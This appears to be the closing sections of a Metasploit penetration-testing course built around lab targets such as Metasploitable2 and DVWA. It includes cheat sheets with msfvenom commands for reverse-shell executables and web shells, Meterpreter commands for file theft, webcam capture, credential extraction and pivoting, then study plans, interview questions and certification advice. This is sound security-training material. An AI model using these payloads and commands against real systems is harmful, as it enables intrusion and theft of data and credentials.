A disciplined exploit-selection process looks like this: confirm the exact service name and version from enumeration data; search Metasploit (`search`) and, where Metasploit doesn't have a matching module, external resources like `searchsploit/Exploit-DB` for the same CVE/vulnerability; read the module's `info` output fully, including any version constraints in the description; check the module's **Rank** (Metasploit assigns reliability ratings — from low to high: Manual, Low, Average, Normal, Good, Great, Excellent — reflecting how reliably the module works without crashing the target or requiring manual tuning); run `check` if available before `exploit`; and only then fire the exploit, with a payload whose architecture matches the confirmed target.

Common Troubleshooting Techniques

No session opens despite "exploit completed": Check `LHOST` matches an interface actually reachable by the target (common VirtualBox multi-adapter mistake); check Kali's own firewall/iptables isn't dropping the inbound callback; check the target's outbound firewall rules if it's a non-default lab network.

Exploit reports failure outright: Re-verify target architecture/OS/patch level matches the module's documented constraints; try `set TARGET` explicitly instead of relying on auto-detection; check `check` output for a more specific reason.

Database not connected (`db_status` fails): Re-run `sudo msfdb init`; confirm PostgreSQL service is actually running (`sudo systemctl status postgresql`); restart msfconsole entirely rather than retrying inside the same session.

Module not found via `search`: Run `reload_all` if you just added/edited a module; confirm package is up to date (`sudo apt update && sudo apt install metasploit-framework`) if you expect a recently-published module that might not be in your current build yet.

Session opens then immediately dies: Architecture mismatch between payload and target process is the most common cause; the second most common is an unstable landing process that crashes shortly after exploitation — migrate quickly once stable, or choose a more stable payload/process target next attempt.

QUICK REFERENCE

Cheat Sheets

1. Metasploit (msfconsole) Cheat Sheet

Task	Command
Check database connection	<code>db_status</code>
Initialize database	<code>sudo msfdb init</code> (run before launching msfconsole)
Create/switch workspace	<code>workspace -a <name> / workspace <name></code>
List workspaces	<code>workspace</code>
Delete workspace	<code>workspace -d <name></code>
Nmap scan into DB	<code>db_nmap -sV <target></code>
Import external scan	<code>db_import <file.xml></code>
List hosts	<code>hosts</code>
List services	<code>services</code>
List vulnerabilities	<code>vulns</code>
List credentials	<code>creds</code>
List loot	<code>loot</code>
Search modules	<code>search <term> / search type:exploit platform:windows / search cve:2007-2447</code>
Module info	<code>info <module/path></code>
Use a module	<code>use <module/path></code>
Show options	<code>show options</code>
Show targets	<code>show targets</code>
Show payloads	<code>show payloads</code>
Set option	<code>set <OPTION> <value></code>
Run check (if supported)	<code>check</code>

Task	Command
Run exploit	<code>exploit</code> or <code>run (foreground)</code> / <code>exploit -j (background)</code>
List sessions	<code>sessions -l</code>
Interact with session	<code>sessions -i <id></code>
Kill session	<code>sessions -k <id></code>
Run resource script	<code>resource <file.rc></code> or <code>msfconsole -r <file.rc></code>
Run one-shot command string	<code>msfconsole -q -x "cmd1; cmd2; exit"</code>
Reload modules after edits	<code>reload_all</code>
Export database	<code>db_export -f xml <file.xml></code>

2. Meterpreter Cheat Sheet

Task	Command
Basic system info	<code>sysinfo</code>
Current user context	<code>getuid</code>
List processes	<code>ps</code>
Current process ID	<code>getpid</code>
Migrate process	<code>migrate <PID></code>
Drop to native shell	<code>shell</code> (then <code>exit</code> to return)
Print working directory	<code>pwd</code>
List remote directory	<code>ls</code>
Download file	<code>download <remote-path> <local-path></code>
Upload file	<code>upload <local-path> <remote-path></code>
Screenshot	<code>screenshot</code>
Webcam (where applicable)	<code>webcam_list</code> / <code>webcam_snap</code>
List privileges (Windows)	<code>getprivs</code>
Load extension	<code>load <extension></code> (e.g., <code>load kiwi</code>)
Background session	<code>background</code> or <code>Ctrl+Z</code>
Add a route through this session	<code>run autoroute -s <subnet>/24</code>

Task	Command
Port forward	<code>portfwd add -l <local-port> -p <remote-port> -r <remote-ip></code>
Upgrade shell to Meterpreter	use <code>post/multi/manage/shell_to_meterpreter</code> then set <code>SESSION <id></code> → <code>run</code>

3. MSFVenom Cheat Sheet

Task	Command pattern
List payload formats	<code>msfvenom --list formats</code>
List encoders	<code>msfvenom --list encoders</code>
List payloads	<code>msfvenom --list payloads</code>
Generate Windows EXE Meterpreter	<code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o shell.exe</code>
Generate Linux ELF Meterpreter	<code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf -o shell.elf</code>
Generate PHP web shell	<code>msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.php</code>
Generate JSP web shell	<code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.jsp</code>
Exclude bad characters	<code>add -b '\x00\x0a\x0d'</code>
Apply an encoder	<code>add -e <encoder/path> -i <iterations></code>
Use an existing template (binary)	<code>add -x <template-file> -k</code>
Generate raw shellcode for embedding	<code>-f raw -o shellcode.bin</code>

4. Professional Workflow Checklist

- [] Workspace created and active for this engagement/lab
- [] Scope and rules of engagement confirmed (lab: confirm only intended targets are in your network)
- [] Host discovery + full port scan completed and logged to DB
- [] Service/version detection completed for every open port of interest
- [] Protocol-specific enumeration run where applicable (SMB/FTP/SSH/HTTP/SNMP)
- [] Candidate vulnerabilities matched to exact confirmed versions
- [] `check` run before `exploit` wherever supported

- [] Exploitation attempted only against verified-vulnerable services
- [] Session privilege/identity confirmed (`getuid`, `sysinfo`) immediately after landing
- [] Process migration considered for stability
- [] Privilege escalation enumeration run (`local_exploit_suggester` or equivalent)
- [] Any credential/hash collection handled and stored securely, scoped to authorization
- [] Pivoting/lateral movement only performed within explicitly authorized scope
- [] Evidence (screenshots, command logs, timestamps) captured continuously, not after the fact
- [] Findings written with risk rating, evidence reference, and remediation recommendation
- [] Executive summary written in plain business-risk language
- [] Any persistence/test artifacts fully removed and documented as removed (where applicable)
- [] Database exported / report finalized

PLANNING & CAREER

Learning Roadmaps, Interview Prep, and Certification Guidance

7-Day Intensive Plan

Use this if you have a deadline (an exam, an internship task, a CTF) and need working competence fast. Assume 4-6 focused hours/day.

- **Day 1:** Module 1 + Module 2 fully. Get the lab network (Kali + Metasploitable2) running end to end. Goal: comfortable navigating msfconsole, workspaces, and database basics.
- **Day 2:** Module 3 in full. Run a complete enumeration pass against Metasploitable2 and DVWA, every result logged to the database.
- **Day 3:** Module 4 in full. Get at least two different working exploits/sessions on Metasploitable2 (vsftpd backdoor + samba usermap_script).
- **Day 4:** Module 5 in full. Practice Meterpreter command fluency until it's automatic, not looked-up.
- **Day 5:** Module 6 in full. Generate at least three different payload formats and successfully catch sessions for each.
- **Day 6:** Module 7 + Module 8. Do post-exploitation enumeration, then build and use a two-hop pivot lab.
- **Day 7:** Module 9 + Module 10. Write your own resource script, then run the full Module 10 capstone assessment end-to-end and produce a short written report.

By the end of Day 7 you should be able to go from "blank Kali VM" to "documented finding with a session and a report paragraph" without referring back to the course files for syntax.

30-Day Mastery Roadmap

- **Week 1 (Days 1–7):** Follow the 7-Day Intensive Plan above as your foundation pass.
- **Week 2 (Days 8–14):** Repeat every guided lab from Modules 1–10, but this time *only* using the Challenge Lab prompts (no copy-pasting commands) — force recall instead of recognition. Start a TryHackMe or Hack The Box machine in parallel (see resources file).
- **Week 3 (Days 15–21):** Go deeper on Module 9 and the Deep Technical Internals file — read at least three real exploit modules from `/usr/share/metasploit-framework/modules/exploits/` end to end and explain each one's `check/exploit` logic in your own words. Write one small custom auxiliary module from scratch.
- **Week 4 (Days 22–30):** Run two or three full Module 10-style capstone assessments against different lab combinations (Metasploitable2 + DVWA, then a Windows lab VM if you have one set up, then a multi-hop

pivot scenario). Write a complete, polished report for at least one of them as if it were a real deliverable. Use the remaining days for whichever Hack The Box/TryHackMe rooms from the resources file felt hardest the first time.

Interview Questions and Answers

Q: Walk me through your methodology when given a fresh target IP with no other information.

A: Start with host discovery and a full port/service scan, log everything to the Metasploit database, run protocol-specific enumeration on anything interesting, cross-reference exact versions against known vulnerabilities before attempting exploitation, validate with `check` where supported, then move into post-exploitation only after confirming session privilege and stability.

Q: What's the difference between a staged and non-staged payload, and when would you choose one over the other?

A: Staged payloads split delivery into a small stager (which calls back and fetches the larger stage) and the stage itself, useful when exploit space for shellcode is limited. Non-staged payloads deliver everything in one block — simpler and more reliable when space isn't a constraint, but larger.

Q: How does Meterpreter avoid leaving forensic artifacts on disk?

A: It's loaded reflectively, directly into process memory, rather than being written to disk as a standalone executable, so it leaves a much smaller footprint than a traditional dropped binary.

Q: What would you do if an exploit reports success but no session opens?

A: Check that `LHOST` matches an interface actually reachable by the target, check for firewall rules (both attacker and target side) potentially dropping the callback, and confirm payload architecture matches the target process.

Q: Explain pivoting and why it matters on internal engagements.

A: Pivoting routes traffic through an already-compromised host into network segments not otherwise reachable from the attacker's position; it matters because initial access is often on a lower-value host while higher-value systems sit deeper in the network, only reachable via pivoting/lateral movement.

Q: What's the actual purpose of an MSFVenom encoder, and what's a common misconception about it?

A: Its real purpose is byte-compatibility — avoiding characters that would break the specific delivery context. The common misconception is that encoding meaningfully defeats modern antivirus/EDR; it generally does not on its own.

Q: How would you explain the business value of a penetration test to a non-technical stakeholder?

A: Frame it around demonstrated, real-world impact and risk reduction: not "we found a vulnerability" but "here's exactly what an attacker could access, what that would cost the business, and exactly what to fix first to reduce that risk."

Q: What's the difference between auxiliary and post modules?

A: Auxiliary modules don't require an existing session (scanning, enumeration, brute force); post modules run on a target you've already compromised, after a session exists.

Q: How do you decide whether a finding is Critical, High, Medium, or Low?

A: By assessing actual exploitability and business impact together — often anchored to a standard like CVSS — and applying that rating consistently across all findings in the same report so severity comparisons are meaningful.

Q: Why is documentation considered as important as the technical exploitation itself in professional pentesting?

A: Because a finding nobody can reproduce, verify, or act on (with a clear remediation step) doesn't actually reduce the client's risk — the technical work only creates value once it's translated into something the client can use.

Certification Preparation Guidance

OSCP (Offensive Security Certified Professional): Heavy emphasis on manual methodology and "no-Metasploit" or limited-Metasploit exploitation in parts of the exam historically, alongside full methodology documentation. This course's discipline around verification-before-exploitation and continuous documentation maps directly onto OSCP's grading rubric. Treat Metasploitable2 and similar boxes as your baseline, then deliberately practice doing the *same* exploitation steps manually (without Metasploit) to build the underlying skill the exam expects.

eJPT (eLearnSecurity/INE Junior Penetration Tester): More directly Metasploit-friendly than OSCP; this course's Modules 1–7 map closely onto eJPT's practical skill expectations.

PNPT (Practical Network Penetration Tester): Strong emphasis on the full workflow including reporting (Module 10 here is directly relevant) and on Active Directory environments specifically — supplement this course with AD-focused lab practice (a small AD lab with a domain controller) before attempting PNPT.

General exam advice regardless of certification: Practice the *documentation habit* as much as the technical skill — most candidates who fail practical exams fail on either time management or incomplete/poorly evidenced reporting, not on total technical inability.

RESOURCES & ASSESSMENTS

Resources and Final Assessments

Best Books

- **"Metasploit: The Penetration Tester's Guide"** by David Kennedy, Jim O'Gorman, Devon Kearns, and Mati Aharoni — the original, still-relevant deep dive into the framework from people directly tied to its ecosystem.
- **"Penetration Testing: A Hands-On Introduction to Hacking"** by Georgia Weidman — broader than just Metasploit, but covers it thoroughly inside a complete methodology, and is widely used as OSCP-adjacent prep reading.
- **"The Hacker Playbook" series** by Peter Kim — practical, scenario-driven, good for building exam-style intuition.
- **"RTFM: Red Team Field Manual"** by Ben Clark — not Metasploit-specific, but an essential pocket reference for the surrounding command-line skills this course assumes.

Best YouTube Channels

- **IppSec** — long-running, extremely detailed Hack The Box walkthroughs; excellent for seeing professional-level methodology in real time.
- **The Cyber Mentor (TCM Security)** — strong beginner-to-intermediate pentesting content, including dedicated Metasploit material.
- **HackerSploit** — broad offensive security coverage with a Kali Linux focus.
- **John Hammond** — CTF-style walkthroughs that reinforce the "think like an attacker" mindset this course builds toward.

Best GitHub Repositories

- **rapid7/metasploit-framework** — the framework's own source repository; reading real module code here is the single best way to deepen the Module 9/Deep Technical Internals material.
- **danielmiessler/SecLists** — the standard wordlist collection used constantly alongside Metasploit's brute-force/scanner modules.
- **swisskyrepo/PayloadsAllTheThings** — broad reference covering payload techniques across many vulnerability classes, useful context alongside MSFVenom work.
- **carlospolop/PEASS-ng** — privilege escalation enumeration scripts that pair well with `local_exploit_suggester`-style workflows.

Best Blogs

- **Rapid7 Blog** — official updates, module additions, and technical write-ups directly from the maintainers.
- **Offensive Security Blog** — useful for certification-adjacent methodology content.
- **SANS Internet Storm Center** — broader security context that helps you understand **why** certain misconfigurations (anonymous FTP, weak SNMP strings) keep showing up in the real world.

Best Practice Labs

- **Metasploitable2 / Metasploitable3** — the canonical intentionally-vulnerable targets this entire course is built around.
- **DVWA (Damn Vulnerable Web Application)** — web-focused vulnerability practice, ideal for the MSFVenom file-upload labs in Module 6.
- **OWASP Broken Web Apps (BWA)** — a broader collection of intentionally vulnerable web applications beyond DVWA.

Best TryHackMe Rooms

- **"Metasploit: Introduction"** and the follow-on Metasploit room series — structured, guided practice directly aligned with this course's modules.
- **"Vulniversity"** — good general enumeration-to-exploitation practice room for reinforcing Module 3/4.
- **Any "Offensive Security Pathway" introductory rooms** — useful for cross-checking your fundamentals against a structured curriculum outside this course.

Best Hack The Box Machines

- **"Lame"** — directly mirrors the Samba `usermap_script` exploitation path practiced in Module 4.
- **"Legacy"** and **"Blue"** — classic, beginner-friendly SMB-based exploitation machines that reinforce enumeration-to-exploitation discipline.
- **"Devel"** — good for reinforcing file-upload-to-execution thinking similar to the Module 6 DVWA lab, in a different context.

Quizzes

Quiz A — Architecture (Modules 1–2):

1. What are the five core Metasploit module types?
2. What does `db_status` tell you?
3. What is the difference between a stager and a stage?

Quiz B — Enumeration & Exploitation (Modules 3–4):

1. What's the difference between `RHOST` and `RHOSTS`?
2. Why run `check` before `exploit`?
3. Name two protocol-specific enumeration categories covered in Module 3.

Quiz C — Post-Exploitation & Pivoting (Modules 5, 7, 8):

1. What does `migrate` actually do?
2. What's the difference between what `autoroute` enables and what a `SOCKS` proxy enables?
3. Why must harvested credentials be handled carefully during an engagement?

(Answers for all three quizzes are derivable directly from the corresponding module's Review Questions/Answers sections — re-attempt them from memory before checking.)

Practical Challenges

1. **Full Recon-to-Root, Untimed:** Starting from a blank workspace, fully enumerate and exploit Metasploitable2 using only modules you select yourself via `search` (no referring back to this course's exact command lists).
2. **Timed Recon-to-Root (90 minutes):** Repeat the above against a fresh Metasploitable2 snapshot, with a hard 90-minute clock, to build exam-pace intuition.
3. **Pivot Chain:** Build a three-host lab (Kali → Pivot Host A → Pivot Host B → Internal Target) and successfully reach the deepest host using nested `autoroute` configuration.
4. **Custom Module Challenge:** Write a custom auxiliary module (not a banner grabber this time) that checks for a specific HTTP response header on a target and reports whether it's present.

OSCP-Style Exercises

- Treat every guided lab in Modules 3, 4, 7, and 10 as a "no-notes" exercise on a second attempt: re-do them from a fresh VM snapshot without referring to this course at all, then compare against the course only afterward to self-grade.
- Practice writing a complete finding (per the Module 10 report skeleton) for every successful exploitation in this course, not just the capstone — building report-writing speed is as important as building exploitation speed for exam-style assessments.
- Deliberately practice the same Metasploitable2 vulnerabilities **manually** (hand-crafted commands instead of the Metasploit module) at least once each, since many practical exams restrict or ban Metasploit usage on a subset of targets.

Capstone Project

Build a complete, three-host lab network (a DMZ-style host directly reachable from Kali, a pivot host bridging two networks, and an internal-only target), perform a full Module 10-style assessment across all three hosts including at least one pivot hop, and produce a complete written report following the Module 10 skeleton with

no fewer than four findings, each with a risk rating, evidence reference, and remediation recommendation.

Treat this as the final proof that every module in this course has actually become working skill rather than just reading material.